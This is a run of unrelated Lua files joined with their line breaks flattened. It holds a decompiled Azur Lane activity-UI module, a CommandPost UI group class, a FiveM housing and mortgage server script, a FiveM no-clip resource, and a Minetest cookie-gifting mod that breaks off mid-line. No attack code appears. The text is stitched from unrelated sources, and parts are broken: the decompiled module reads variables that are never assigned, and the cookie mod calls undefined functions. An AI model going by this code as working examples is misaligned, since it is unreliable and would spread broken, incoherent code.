slot0.InitInteractable = function (slot0) slot1 = getProxy(TaskProxy) for slot5, slot6 in ipairs(slot0.finalTasks) do slot7 = pg.task_data_template[slot6] onButton(slot0, slot0.items[slot5], function () if slot0:getTaskVO(slot1):getTaskStatus() == 1 then slot2:emit(ActivityMediator.ON_TASK_SUBMIT, slot0) return end if slot2.tabType == slot3 then return end slot2.tabType = slot3 slot3:UpdateTab() end, SFX_PANEL) end onButton(slot0, slot0.battleBtn, function () slot0:emit(ActivityMediator.BATTLE_OPERA) end, SFX_PANEL) onButton(slot0, slot0.shopBtn, function () slot0.emit(slot1, ActivityMediator.GO_SHOPS_LAYER, { warp = NewShopsScene.TYPE_ACTIVITY, actId = _.detect(getProxy(ActivityProxy):getActivitiesByType(ActivityConst.ACTIVITY_TYPE_SHOP), function (slot0) return slot0:getConfig("config_client").pt_id == pg.gameset.activity_res_id.key_value end) and slot0.id }) end, SFX_PANEL) onButton(slot0, slot0.buildBtn, function () slot0:emit(ActivityMediator.EVENT_GO_SCENE, SCENE.GETBOAT, { projectName = BuildShipScene.PROJECTS.ACTIVITY }) end, SFX_PANEL) onButton(slot0, slot0.bg, function () if slot0.tabType > 0 then slot0.tabType = 0 slot0:UpdateTab() end end) end slot0.OnUpdateFlush = function (slot0) slot0:UpdateView() slot0:UpdateTab() end slot0.UpdateView = function (slot0) slot1 = getProxy(TaskProxy) for slot5 = 1, #slot0.finalTasks, 1 do setActive(slot8, true) slot0:UpdateIcon(slot0:findTF("icon", slot8), pg.task_data_template[slot0.finalTasks[slot5]].award_display[1][1], pg.task_data_template[slot0.finalTasks[slot5]].award_display[1][2]) setActive(slot0.items[slot5]:Find("active"), slot1:getTaskVO(slot6).getTaskStatus(slot10) == 0) setActive(slot8:Find("finished"), slot11 == 1) setActive(slot8:Find("achieved"), slot11 == 2) setButtonEnabled(slot8, slot11 < 2) slot0.tabType = (slot0.tabType ~= slot5 or slot11 ~= 2 or 0) and slot0.tabType end for slot5 = #slot0.finalTasks + 1, #slot0.items, 1 do setActive(slot0.items[slot5], false) slot0.tabType = (slot0.tabType ~= slot5 or 0) and slot0.tabType end end slot0.UpdateTab = function (slot0) if slot0.tabType == 0 then setActive(slot0.tab, false) return end slot0.taskList:align(slot2) slot3 = getProxy(TaskProxy) slot4 = 0 for slot8 = 1, #slot0.subtasks[slot0.tabType], 1 do slot9 = slot0.content:GetChild(slot8 - 1) setText(slot0:findTF("title/Text", slot9), string.format("Task-%02d", slot8)) setActive(slot9:Find("tip2"), slot0.TransformType[pg.task_data_template[slot1[slot8]].sub_type] == DROP_TYPE_FURNITURE) setActive(slot9:Find("tip"), slot13 == DROP_TYPE_SHIP) slot14 = false setActive(slot9:Find("completed"), defaultValue((slot3:getTaskById(slot10) or slot3:getFinishTaskById(slot10)) and slot3.getTaskById(slot10) or slot3.getFinishTaskById(slot10):isFinish(), false)) setText(slot0:findTF("text", slot9), slot11.desc) slot0:UpdateIcon(slot0:findTF("icon", slot9), slot13, tonumber(pg.task_data_template[slot1[slot8]].target_id)) slot4 = slot4 + (((slot3.getTaskById(slot10) or slot3.getFinishTaskById(slot10)) and slot3.getTaskById(slot10) or slot3.getFinishTaskById(slot10):isFinish() and 1) or 0) end setText(slot0:findTF("slider/progress", slot0.tab), string.format("[%d/%d]", slot4, slot2)) slot0.scrollList:GetComponent(typeof(ScrollRect)).verticalNormalizedPosition = 1 slot0.tab.transform.anchoredPosition.x = slot0.tabPos[slot0.tabType] setAnchoredPosition(slot0.tab, slot5) slot0.bar.sizeDelta.x = slot0._tf.sizeDelta.x - slot0.bar.anchoredPosition.x - slot0.tab.transform.anchoredPosition.x - slot0.tab.sizeDelta.x slot0.bar.sizeDelta = slot0.bar.sizeDelta setActive(slot0.tab, true) end slot0.UpdateIcon = function (slot0, slot1, slot2, slot3) if slot0.IconShowFunc[slot2] then slot0.IconShowFunc[slot2](slot1, slot3) end end slot0.OnDestroy = function (slot0) return end slot0.SubimtCompletedMission = function (slot0) slot1 = getProxy(TaskProxy) for slot5, slot6 in pairs(slot0.subtasks) do for slot10, slot11 in pairs(slot6) do if slot1:getTaskById(slot11) and slot12:isFinish() then slot0:emit(ActivityMediator.ON_TASK_SUBMIT, slot12) end end end end return slot0
--- === cp.ui.Group === --- --- UI Group. local require = require -- local log = require "hs.logger" .new "Group" local ax = require "cp.fn.ax" local Element = require "cp.ui.Element" local pack = table.pack local Group = Element:subclass("cp.ui.Group") :defineBuilder("containing") --- === cp.ui.Group.Builder === --- --- Defines a `Group` builder. --- cp.ui.Group:containing(...) -> cp.ui.Group.Builder --- Function --- Returns a `Builder` with the `Element` initializers for the children in the group. --- --- Parameters: --- * ... - A variable list of `Element` initializers, one for each child. --- --- Returns: --- * The `Group.Builder` --- cp.ui.Group.matches(element) -> boolean --- Function --- Checks to see if an element matches what we think it should be. --- --- Parameters: --- * element - An `axuielementObject` to check. --- --- Returns: --- * `true` if matches otherwise `false` function Group.static.matches(element) return Element.matches(element) and element:attributeValue("AXRole") == "AXGroup" end --- cp.ui.Group(parent, uiFinder[, contentsClass]) -> Alert --- Constructor --- Creates a new `Group` instance. --- --- Parameters: --- * parent - The parent object. --- * uiFinder - A function which will return the `hs.axuielement` when available. --- --- Returns: --- * A new `Group` object. function Group:initialize(parent, uiFinder, ...) Element.initialize(self, parent, uiFinder) self.childInits = pack(...) end --- cp.ui.Group.childrenUI <cp.prop: table of axuielement> --- Field --- Contains the list of `axuielement` children of the group. function Group.lazy.prop:childrenUI() return ax.prop(self.UI, "AXChildren") end --- cp.ui.Group.children <table of cp.ui.Element> --- Field --- Contains the list of `Element` children of the group. function Group.lazy.value:children() return ax.initElements(self, self.childrenUI, self.childInits) end return Group
local repayTime = 168 * 60 -- hours * 60 local timer = ((60 * 1000) * 10) -- 10 minute timer RegisterServerEvent('house:updatespawns') AddEventHandler('house:updatespawns', function(info, hid) local src = source local table = info local house_id = hid local xPlayer = NPCore.GetPlayerFromId(src) if xPlayer.job.name == "realtor" then exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE house_id = ?', {hid}, function(result) exports.ghmattimysql:execute("UPDATE __housedata SET `data` = @data WHERE `house_id` = @house_id", { ['@data'] = json.encode(table), ['@house_id'] = house_id }) TriggerClientEvent('UpdateCurrentHouseSpawns', src, hid, json.encode(info)) end) end end) RegisterServerEvent('housing:attemptsale') AddEventHandler('housing:attemptsale', function(cid,price,house_id,house_model, storage, clothing,garages) TriggerClientEvent('housing:findsalecid', -1, cid, price, house_id, house_model, storage, clothing, garages) end) RegisterServerEvent('house:purchasehouse') AddEventHandler('house:purchasehouse', function(cid,house_id,house_model,upfront,price,housename,garages) local src = source local xPlayer = NPCore.GetPlayerFromId(src) if xPlayer.getBank() >= upfront then xPlayer.removeBank(upfront) exports.ghmattimysql:execute('SELECT `housename` FROM __housedata WHERE `housename`= ?', {housename}, function(data) if data[1].cid == nil then exports.ghmattimysql:execute("UPDATE __housedata SET `cid` = @cid, `upfront` = @upfront, `housename` = @housename, `garages` = @garages, `house_model` = @house_model, `overall` = @overall, `payments` = @payments, `due` =@due, `days` = @days WHERE `house_id` = @house_id", { ['@cid'] = cid, ['@upfront'] = upfront, ['@housename'] = housename, ['@garages'] = json.encode(garages), ['@house_model'] = house_model, ['@overall'] = price, ['@payments'] = "14", ['@house_id'] = house_id, ['@days'] = repayTime, ['@due'] = price - upfront }) TriggerClientEvent('DoLongHudText', src, "Congratulations, you now own " .. housename .. "!", 6) else TriggerClientEvent("DoLongHudText", src, "This house is already sold...", 2) end end) else TriggerEvent("DoLongHudText","You do not have enough money for this purchase.",2) end end) RegisterServerEvent('housing:requestSpawnTable') AddEventHandler('housing:requestSpawnTable', function(table, id, house_name) local src = source exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE `house_id` = @house_id', { ['@house_id'] = id }, function(result) if result[1] ~= nil then TriggerClientEvent('UpdateCurrentHouseSpawns', src, id, result[1].data) else exports.ghmattimysql:execute("INSERT INTO __housedata (data, house_id, housename) VALUES (@data, @house_id, @housename)", { ['@house_id'] = id, ['@data'] = json.encode(table), ['@housename'] = house_name }) end end) end) RegisterServerEvent('housing:getGarage') AddEventHandler('housing:getGarage', function(house_id, house_model) local src = source local cid = exports['npc-core']:GetPlayerCid(src) exports.ghmattimysql:execute('SELECT * FROM __housekeys WHERE `house_id`= ? AND `house_model`= ? AND `cid` = ?', {house_id, house_model, cid}, function(returnData) if returnData[1] ~= nil then TriggerClientEvent('sendGarges', src, json.decode(returnData[1].garages), returnData[1].house_id, returnData[1].housename) end end) exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE `house_id`= ? AND `house_model`= ? AND `cid` = ?', {house_id, house_model, cid}, function(penis) if penis[1] ~= nil then if penis[1].garages ~= "{}" then TriggerClientEvent('sendGarges', src, json.decode(penis[1].garages), penis[1].house_id, penis[1].housename) end end end) end) RegisterServerEvent('house:enterhouse') AddEventHandler('house:enterhouse', function(cid,house_id,house_model) local src = source local xPlayer = NPCore.GetPlayerFromId(src) exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE `house_id`= ? AND `house_model`= ?', {house_id, house_model}, function(house) if house[1].force_locked ~= "locked" then if house[1].cid == cid then if house[1].furniture ~= {} then TriggerClientEvent('house:entersuccess', src, house_id, house_model, json.decode(house[1].furniture), nil, nil, nil) else TriggerClientEvent('house:entersuccess', src, house_id, house_model) end TriggerClientEvent('UpdateCurrentHouseSpawns', src, house_id, house[1].data) else exports.ghmattimysql:execute('SELECT * FROM __housekeys WHERE `house_id`= ? AND `house_model`= ? AND `cid` = ?', {house_id, house_model, cid}, function(house2) if house2[1] ~= nil then exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE `house_id`= ? AND `house_model`= ?', {house_id, house_model}, function(penis) if penis[1].furniture ~= {} then TriggerClientEvent('house:entersuccess', src, house_id, house_model, json.decode(penis[1].furniture), nil, nil, nil) else TriggerClientEvent('house:entersuccess', src, house_id, house_model) end TriggerClientEvent('UpdateCurrentHouseSpawns', src, house_id, penis[1].data) end) TriggerClientEvent('DoLongHudText', src, "Entering shared property", 1) end end) end exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE `house_id`= ? AND `house_model`= ?', {house_id, house_model}, function(guest) if xPlayer.job.name == "realtor" then if guest[1].furniture ~= {} then TriggerClientEvent('house:entersuccess', src, house_id, house_model, json.decode(guest[1].furniture), nil, nil, nil) else TriggerClientEvent('house:entersuccess', src, house_id, house_model) end else if guest[1].cid ~= cid then if guest[1].status ~= "locked" then if guest[1].furniture ~= {} then TriggerClientEvent('house:entersuccess', src, house_id, house_model, json.decode(guest[1].furniture), nil, nil, nil) else TriggerClientEvent('house:entersuccess', src, house_id, house_model) end else exports.ghmattimysql:execute('SELECT * FROM __housekeys WHERE `house_id`= ? AND `house_model`= ? AND `cid` = ?', {house_id, house_model, cid}, function(guest2) if guest2[1].cid ~= cid then TriggerClientEvent('DoLongHudText', src, "This house is locked", 2) end end) end end end end) else TriggerClientEvent('DoLongHudText', src, "This house is forced locked by a realtor", 2) end end) end) RegisterServerEvent('house:givekey') AddEventHandler('house:givekey', function(house_id,house_model,house_name,target) local src = source local TargetCID = exports['npc-core']:GetPlayerCid(tonumber(target)) exports.ghmattimysql:execute('SELECT * FROM characters WHERE `id`= ?', {TargetCID}, function(targetshit) exports.ghmattimysql:execute('SELECT `house_id` FROM __housekeys WHERE `cid`= ?', {cid}, function(data) if data == nil then exports.ghmattimysql:execute('SELECT `garages` FROM __housedata WHERE `house_id`= ?', {house_id}, function(test) local garages = test[1].garages local name = targetshit[1].firstname .. " " .. targetshit[1].lastname exports.ghmattimysql:execute('INSERT INTO __housekeys(cid, house_id, house_model, housename, name, garages) VALUES(?, ?, ?, ?, ?, ?)', {TargetCID, house_id, house_model, house_name, name, garages}) TriggerClientEvent('DoLongHudText', target, "You have received keys to " .. house_name .. ".", 6) TriggerClientEvent('DoLongHudText', src, "You gave " .. name .. " keys to " .. house_name .. ".", 1) end) else TriggerClientEvent("DoLongHudText", src, "This player already has keys to " .. house_name .. ".", 2) end end) end) end) RegisterServerEvent('house:retrieveKeys') AddEventHandler('house:retrieveKeys', function(house_id, house_model) local src = source local shared = {} exports.ghmattimysql:execute('SELECT * FROM __housekeys WHERE `house_id`= ?', {house_id}, function(data) for k, v in pairs(data) do if v ~= nil then if v.house_id == house_id then local random = math.random(1111,9999) shared[random] = {} table.insert(shared[random], {["sharedHouseName"] = v.housename, ["sharedId"] = v.cid, ["sharedName"] = v.name}) TriggerClientEvent('house:returnKeys', src, shared) end end end end) end) RegisterServerEvent("housing:unlockRE") AddEventHandler("housing:unlockRE", function(house_id, house_model) local src = source local xPlayer = NPCore.GetPlayerFromId(src) if xPlayer.job.name == "realtor" then exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE house_id = ?', {house_id}, function(result) local address = result[1].housename if result[1].force_locked == "unlocked" then exports.ghmattimysql:execute("UPDATE __housedata SET `force_locked` = @force_locked WHERE `house_id` = @house_id ", { ['@force_locked'] = "locked", ['@house_id'] = house_id }) TriggerClientEvent("DoLongHudText", src, "Property " ..address.. " has been locked", 1) elseif result[1].force_locked == "locked" then exports.ghmattimysql:execute("UPDATE __housedata SET `force_locked` = @force_locked WHERE `house_id` = @house_id ", { ['@force_locked'] = "unlocked", ['@house_id'] = house_id }) TriggerClientEvent("DoLongHudText", src, "Property " ..address.. " has been unlocked", 2) end end) end end) RegisterServerEvent("housing:unlock") AddEventHandler("housing:unlock", function(house_id, house_model) local src = source exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE house_id = ?', {house_id}, function(result) local address = result[1].housename if result[1].status == "unlocked" then exports.ghmattimysql:execute("UPDATE __housedata SET `status` = @status WHERE `house_id` = @house_id ", { ['@status'] = "locked", ['@house_id'] = house_id }) TriggerClientEvent("DoLongHudText", src, "The Property " ..address.. " has been locked", 1) elseif result[1].status == "locked" then exports.ghmattimysql:execute("UPDATE __housedata SET `status` = @status WHERE `house_id` = @house_id ", { ['@status'] = "unlocked", ['@house_id'] = house_id }) TriggerClientEvent("DoLongHudText", src, "The Property " ..address.. " has been unlocked", 2) end end) end) RegisterServerEvent('house:removeKey') AddEventHandler('house:removeKey', function(house_id, house_model, target) local src = source exports.ghmattimysql:execute('SELECT * FROM characters WHERE `id`= ?', {target}, function(TargetStuff) exports.ghmattimysql:execute('SELECT * FROM __housekeys WHERE house_id = ? AND cid = ?', {house_id, target}, function(data) exports.ghmattimysql:execute('DELETE FROM __housekeys WHERE `house_id`= ? AND `house_model`= ? AND `cid`= ?', {house_id, house_model, target}) local name = TargetStuff[1].firstname .. TargetStuff[1].lastname TriggerClientEvent('DoLongHudText', src, "You removed " .. name .. "'s keys.") end) end) end) RegisterServerEvent("houses:removeSharedKey") AddEventHandler("houses:removeSharedKey", function(house_id, cid) local src = source exports.ghmattimysql:execute('DELETE FROM __housekeys WHERE `house_id`= ? AND `cid`= ?', {house_id, cid}) TriggerClientEvent('DoLongHudText', src, "You have removed your shared key.", 2) end) RegisterServerEvent('CheckFurniture') AddEventHandler('CheckFurniture', function(house_id, house_model) local src = source exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE `house_id`= ? AND `house_model`= ?', {house_id, house_model}, function(data) if data[1].furniture ~= {} then TriggerClientEvent('openFurnitureConfirm', src, house_id, house_model, json.decode(data[1].furniture)) else TriggerClientEvent('openFurnitureConfirm', src, house_id, house_model, nil) end end) end) RegisterServerEvent("house:enterhousebackdoor") AddEventHandler("house:enterhousebackdoor", function(house_id, house_model,x,y,z) local src = source exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE house_id = ?', {house_id}, function(result) TriggerClientEvent('house:entersuccess', src, house_id, house_model, json.decode(result[1].furniture), x,y,z) end) end) RegisterServerEvent('house:evictHouse') AddEventHandler('house:evictHouse', function(hid, model, cid) local src = source local xPlayer = NPCore.GetPlayerFromId(src) if xPlayer.job.name == "realtor" then exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE house_id = ? AND house_model = ?', {hid, model}, function(result) if result[1] ~= nil then TriggerClientEvent("DoLongHudText", src, result[1].housename.. " has been deleted", 2) print("User with cid: " ..cid .. " deleted a house with the address " ..result[1].housename) -- Need better logs/ no webhook. we need to start using a db log. exports.ghmattimysql:execute("DELETE FROM __housedata WHERE house_id = @house_id AND house_model = @house_model", {['house_id'] = hid, ['house_model'] = model}) end end) end end) RegisterServerEvent("houses:PropertyOutstanding") AddEventHandler("houses:PropertyOutstanding", function() local src = source TriggerClientEvent("housing:info:realtor", src, "PropertyOutstanding") end) RegisterServerEvent("house:PropertyOutstanding") AddEventHandler("house:PropertyOutstanding", function(house_id, house_model) local src = source exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE house_id = ? AND house_model = ?', {house_id, house_model}, function(result) if result[1] ~= nil then TriggerClientEvent("DoLongHudText", src, "The Property Outstanding Balance is $" ..result[1].overall - result[1].due.. " with a pending payment of $" ..math.floor(result[1].due/result[1].payments)) end end) end) RegisterServerEvent("housing:garagesSET") AddEventHandler("housing:garagesSET", function(garages, house_id) local src = source local xPlayer = NPCore.GetPlayerFromId(src) if xPlayer.job.name == "realtor" then exports.ghmattimysql:execute("UPDATE __housedata SET `garages` = @garages WHERE `house_id` = @house_id", { ['@garages'] = json.encode(garages), ['@house_id'] = house_id }) end end) RegisterServerEvent("house:transferHouse") AddEventHandler("house:transferHouse", function(house_id, house_model, cid) local src = source local transfercid = tonumber(cid) local xPlayer = NPCore.GetPlayerFromId(src) if xPlayer.job.name == "realtor" then exports.ghmattimysql:execute("UPDATE __housedata SET `cid` = @cid WHERE `house_model` = @house_model AND `house_id` = @house_id", { ['@cid'] = transfercid, ['@house_id'] = house_id, ['@house_model'] = house_model }) TriggerClientEvent("DoLongHudText", src, "The house has been transfered over to cid: " ..transfercid, 1) end end) RegisterServerEvent("house:dopayment") AddEventHandler("house:dopayment", function(house_id, house_model) local src = source local xPlayer = NPCore.GetPlayerFromId(src) exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE house_id = ? AND house_model = ?', {house_id, house_model}, function(result) if result[1] ~= nil then local amountdue = math.floor(result[1].due/result[1].payments) if result[1].can_pay ~= "false" then if result[1].due ~= tonumber(0) then if xPlayer.getBank() >= amountdue then xPlayer.removeBank(amountdue) exports.ghmattimysql:execute("UPDATE __housedata SET `payments` = @payments, `due` = @due, `days` = @days, `can_pay` = @can_pay WHERE `house_id` = @house_id AND `house_model` = @house_model", { ['@payments'] = result[1].payments - 1, ['@due'] = result[1].due - amountdue, ['@house_id'] = house_id, ['@days'] = repayTime, ['@can_pay'] = "false", ['@house_model'] = house_model }) local paymentsleft = result[1].payments - 1 Citizen.Wait(5000) TriggerClientEvent("DoLongHudText", src, "You still have " ..paymentsleft.. " payments left and a existing mortage of $" ..result[1].due - amountdue, 1) else TriggerClientEvent("DoLongHudText", src, "You cant afford the payment of $" ..amountdue, 2) end else Citizen.Wait(10000) TriggerClientEvent("DoLongHudText", src, "Your house is fully paid off!") end else TriggerClientEvent("DoLongHudText", src, "You just recently paid your mortgage payment. You need to wait a week", 2) end end end) end) function updateFinance() exports.ghmattimysql:execute('SELECT days, house_id FROM __housedata WHERE days > @days', { ["@days"] = 0 }, function(result) for i=1, #result do local financeTimer = result[i].days local house_id = result[i].house_id local newTimer = financeTimer - 10 if financeTimer ~= nil then MySQL.Sync.execute('UPDATE __housedata SET days = @days WHERE house_id = @house_id', { ['@house_id'] = house_id, ['@days'] = newTimer }) end if financeTimer < 100 then exports.ghmattimysql:execute("UPDATE __housedata SET `can_pay` = @can_pay WHERE `house_id` = @house_id ", { ['@can_pay'] = "true", ['@house_id'] = house_id }) end end end) SetTimeout(timer, updateFinance) end SetTimeout(timer, updateFinance) RegisterServerEvent('UpdateFurniture') AddEventHandler('UpdateFurniture', function(house_id, house_model, modifiedObjects) exports.ghmattimysql:execute("UPDATE __housedata SET `furniture` = @furniture WHERE `house_id` = @house_id AND `house_model` = @house_model", { ['@furniture'] = json.encode(modifiedObjects), ['@house_id'] = house_id, ['@house_model'] = house_model }) end)
--[[ * Created by MiiMii1205 * license MIT --]] -- Constants -- MOVE_UP_KEY = 20 MOVE_DOWN_KEY = 44 CHANGE_SPEED_KEY = 21 MOVE_LEFT_RIGHT = 30 MOVE_UP_DOWN = 31 NOCLIP_TOGGLE_KEY = 289 NO_CLIP_NORMAL_SPEED = 0.5 NO_CLIP_FAST_SPEED = 2.5 ENABLE_TOGGLE_NO_CLIP = true ENABLE_NO_CLIP_SOUND = true local eps = 0.01 local RESSOURCE_NAME = GetCurrentResourceName(); STARTUP_STRING = ('%s v%s initialized'):format(RESSOURCE_NAME, GetResourceMetadata(RESSOURCE_NAME, 'version', 0)) STARTUP_HTML_STRING = (':business_suit_levitating: %s <small>v%s</small> initialized'):format(RESSOURCE_NAME, GetResourceMetadata(RESSOURCE_NAME, 'version', 0)) -- Variables -- local isNoClipping = false local speed = NO_CLIP_NORMAL_SPEED local input = vector3(0, 0, 0) local previousVelocity = vector3(0, 0, 0) local breakSpeed = 10.0; local offset = vector3(0, 0, 1); local noClippingEntity = playerPed; function ToggleNoClipMode() return SetNoClip(not isNoClipping) end function IsControlAlwaysPressed(inputGroup, control) return IsControlPressed(inputGroup, control) or IsDisabledControlPressed(inputGroup, control) end function IsControlAlwaysJustPressed(inputGroup, control) return IsControlJustPressed(inputGroup, control) or IsDisabledControlJustPressed(inputGroup, control) end function Lerp(a, b, t) return a + (b - a) * t end function IsPedDrivingVehicle(ped, veh) return ped == GetPedInVehicleSeat(veh, -1); end function SetInvincible(val, id) SetEntityInvincible(id, val) return SetPlayerInvincible(id, val) end function SetNoClip(val) if (isNoClipping ~= val) then local playerPed = PlayerPedId() noClippingEntity = playerPed; if IsPedInAnyVehicle(playerPed, false) then local veh = GetVehiclePedIsIn(playerPed, false); if IsPedDrivingVehicle(playerPed, veh) then noClippingEntity = veh; end end local isVeh = IsEntityAVehicle(noClippingEntity); isNoClipping = val; if ENABLE_NO_CLIP_SOUND then if isNoClipping then PlaySoundFromEntity(-1, "SELECT", playerPed, "HUD_LIQUOR_STORE_SOUNDSET", 0, 0) else PlaySoundFromEntity(-1, "CANCEL", playerPed, "HUD_LIQUOR_STORE_SOUNDSET", 0, 0) end end TriggerEvent('msgprinter:addMessage', ((isNoClipping and ":airplane: No-clip enabled") or ":rock: No-clip disabled"), GetCurrentResourceName()); SetUserRadioControlEnabled(not isNoClipping); if (isNoClipping) then TriggerEvent('instructor:add-instruction', {MOVE_LEFT_RIGHT, MOVE_UP_DOWN}, "move", RESSOURCE_NAME); TriggerEvent('instructor:add-instruction', {MOVE_UP_KEY, MOVE_DOWN_KEY}, "move up/down", RESSOURCE_NAME); TriggerEvent('instructor:add-instruction', {1, 2}, "Turn", RESSOURCE_NAME); TriggerEvent('instructor:add-instruction', CHANGE_SPEED_KEY, "(hold) fast mode", RESSOURCE_NAME); TriggerEvent('instructor:add-instruction', NOCLIP_TOGGLE_KEY, "Toggle No-clip", RESSOURCE_NAME); SetEntityAlpha(noClippingEntity, 51, 0) -- Start a No CLip thread Citizen.CreateThread(function() local clipped = noClippingEntity local pPed = playerPed; local isClippedVeh = isVeh; -- We start with no-clip mode because of the above if -- SetInvincible(true, clipped); if not isClippedVeh then ClearPedTasksImmediately(pPed) end while isNoClipping do Citizen.Wait(0); FreezeEntityPosition(clipped, true); SetEntityCollision(clipped, false, false); SetEntityVisible(clipped, false, false); SetLocalPlayerVisibleLocally(true); SetEntityAlpha(clipped, 51, false) SetEveryoneIgnorePlayer(pPed, true); SetPoliceIgnorePlayer(pPed, true); -- `(a and b) or c`, is basically `a ? b : c` -- input = vector3(GetControlNormal(0, MOVE_LEFT_RIGHT), GetControlNormal(0, MOVE_UP_DOWN), (IsControlAlwaysPressed(1, MOVE_UP_KEY) and 1) or ((IsControlAlwaysPressed(1, MOVE_DOWN_KEY) and -1) or 0)) speed = ((IsControlAlwaysPressed(1, CHANGE_SPEED_KEY) and NO_CLIP_FAST_SPEED) or NO_CLIP_NORMAL_SPEED) * ((isClippedVeh and 2.75) or 1) MoveInNoClip(); end Citizen.Wait(0); FreezeEntityPosition(clipped, false); SetEntityCollision(clipped, true, true); SetEntityVisible(clipped, true, false); SetLocalPlayerVisibleLocally(true); ResetEntityAlpha(clipped); SetEveryoneIgnorePlayer(pPed, false); SetPoliceIgnorePlayer(pPed, false); ResetEntityAlpha(clipped); Citizen.Wait(500); -- We're done with the while so we aren't in no-clip mode anymore -- -- Wait until the player starts falling or is completely stopped -- if isClippedVeh then while (not IsVehicleOnAllWheels(clipped)) and not isNoClipping do Citizen.Wait(0); end while not isNoClipping do Citizen.Wait(0); if IsVehicleOnAllWheels(clipped) then -- We hit land. We can safely remove the invincibility -- return SetInvincible(false, clipped); end end else if (IsPedFalling(clipped) and math.abs(1 - GetEntityHeightAboveGround(clipped)) > eps) then while (IsPedStopped(clipped) or not IsPedFalling(clipped)) and not isNoClipping do Citizen.Wait(0); end end while not isNoClipping do Citizen.Wait(0); if (not IsPedFalling(clipped)) and (not IsPedRagdoll(clipped)) then -- We hit land. We can safely remove the invincibility -- return SetInvincible(false, clipped); end end end end) else ResetEntityAlpha(noClippingEntity) TriggerEvent('instructor:flush', RESSOURCE_NAME); end end end function MoveInNoClip() SetEntityRotation(noClippingEntity, GetGameplayCamRot(0), 0, false) local forward, right, up, c = GetEntityMatrix(noClippingEntity); previousVelocity = Lerp(previousVelocity, (((right * input.x * speed) + (up * -input.z * speed) + (forward * -input.y * speed))), Timestep() * breakSpeed); c = c + previousVelocity SetEntityCoords(noClippingEntity, c - offset, true, true, true, false) end function MoveCarInNoClip() SetEntityRotation(noClippingEntity, GetGameplayCamRot(0), 0, false) local forward, right, up, c = GetEntityMatrix(noClippingEntity); previousVelocity = Lerp(previousVelocity, (((right * input.x * speed) + (up * input.z * speed) + (forward * -input.y * speed))), Timestep() * breakSpeed); c = c + previousVelocity SetEntityCoords(noClippingEntity, (c - offset) + (vec(0, 0, .3)), true, true, true, false) end AddEventHandler('onResourceStop', function(resourceName) if resourceName == RESSOURCE_NAME then SetNoClip(false); FreezeEntityPosition(noClippingEntity, false); SetEntityCollision(noClippingEntity, true, true); SetEntityVisible(noClippingEntity, true, false); SetLocalPlayerVisibleLocally(true); ResetEntityAlpha(noClippingEntity); SetEveryoneIgnorePlayer(playerPed, false); SetPoliceIgnorePlayer(playerPed, false); ResetEntityAlpha(noClippingEntity); SetInvincible(false, noClippingEntity); end end)
-- Cookies Recipe : if not rawget(_G,"data") then data = {} end data.oven = minetest.get_worldpath().."/cookies" data.cookies = {} -- cookie_baker priv to create cookie minetest.register_privilege("baker","Is able to bake CooKies and give them to anybody else") -- Loading cookies from oven pntf = io.open(data.oven,"r") if pntf == nil then pntf = io.open(data.oven,"w") else repeat local line = pntf:read() if line == nil or line == "" then break end data.cookies[line:split(" ")[1]] = line:split(" ")[2]+0 until 1 == 0 -- Ok, not the best way to create a loop.. end io.close(pntf) minetest.log("action","[FailPoints] CooKies baked") -- Global callbacks minetest.register_on_shutdown(function() -- Stocking CooKies pntf = io.open(data.oven,"w") for i,v in pairs(data.cookies) do if v ~= 0 then pntf:write(i.." "..v.."\n") end end io.close(pntf) end) minetest.register_chatcommand("cookie", { params = "<subcommand> <subcommandparam> | <playername>", description = "CooKie baking command", privs = {shout = true}, func = function(name, parameters) local paramlist = parameters:split(" ") local param = paramlist[1] local param2 = paramlist[2] if param == "help" or param == nil then minetest.chat_send_player(name,"CooKie recipe's help :") minetest.chat_send_player(name,"/cookie <subcommand> | <playername>") minetest.chat_send_player(name,"Available subcommands :") minetest.chat_send_player(name," - help : show this help") minetest.chat_send_player(name," - view | view <playername> : View player's CooKies amount") return elseif param == "settings" then if not minetest.get_player_privs(name)["server"] then minetest.chat_send_player(name,"You're not allowed to perform this command. (Missing privilege : server)") return end minetest.chat_send_player(name,"=== CK_DEBUG_LINES SENT ===") print("=== CK_DEBUG_LINES ===") local send_admin = function(msg) minetest.chat_send_player(name,msg) end send_admin("CK File") if pntf ~= nil then send_admin("Found") else send_admin("Missing!") end table.foreach(data,print) return elseif param == "view" then if param2 == "" or param2 == nil then local owncookies = 0 if data.cookies[name] then owncookies = data.cookies[name] end minetest.chat_send_player(name,"-CK- You own "..owncookies.." CooKies.") return true end if data.cookies[param2] ~= nil and data.cookies[param2] > 0 then minetest.chat_send_player(name,"-CK- Player "..param2.." owns "..data.cookies[param2].." CooKies.") else minetest.chat_send_player(name,"-CK- Player "..param2.." doesn't seem to own any CooKie.") end else -- If not any known command if name == param then if minetest.get_player_privs(name)["baker"] == true then minetest.log("error",name.." tried to create a CooKie by giving to himself") minetest.chat_send_player(name,"-CK- Congratulation, you failed. Don't try to cook for yourself, don't be selfish :p") else minetest.log("action",name.."cooked himself a CooKie") data.send_func(name,"-CK- You failed: It appears the name you entered is yours") data.send_func(name,"Don't try to cook yourself CooKies, share them :p") end return false end if param == "" then minetest.chat_send_player(name,"-CK- You failed: Not enough parameters given, type /cookie help for help") return false end if not data.is_player_available(param) then minetest.chat_send_player(name,"-CK- You failed: Sorry, "..param.." isn't online.") return false end -- Take, or not, cookies from name's account to give them to param if minetest.get_player_privs(name)["baker"] ~= true then if data.cookies[name] == nil or data.failpoints[name] == 0 then minetest.chat_send_player(name,"You failed: You don't have enough CooKies.. Cook some!") return false elseif data.cookies[name] > 0 then data.cookies[name] = data.cookies[name] -1 end else minetest.log("action","[FailPoints] "..name.." has baked a CooKie.") end -- Give/Add the CooKie to param' account if data.cookies[param] == nil then data.cookies[param] = 1 else data.cookies[param] = data.cookies[param]+1 end minetest.log("action","[FailPoints] "..name.." has given a CooKie to "..param) minetest.log("action","[FailPoints] "..param.." now own 